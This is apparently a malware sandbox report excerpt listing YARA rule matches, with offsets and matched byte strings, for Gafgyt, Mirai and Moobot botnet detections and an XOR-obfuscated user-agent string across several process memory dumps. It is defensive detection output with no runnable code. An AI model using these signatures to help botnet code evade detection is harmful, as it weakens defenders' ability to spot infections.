6967.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6967.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7346.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7346.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7346.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7346.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7346.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7346.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7380.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6388.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6388.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6388.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6388.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6388.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6388.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7370.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7370.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7370.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7370.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7370.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7370.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7360.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7054.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7054.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7054.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7054.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7054.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7054.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7140.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7140.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7140.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7140.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7140.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7140.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7209.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7209.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7209.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7209.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
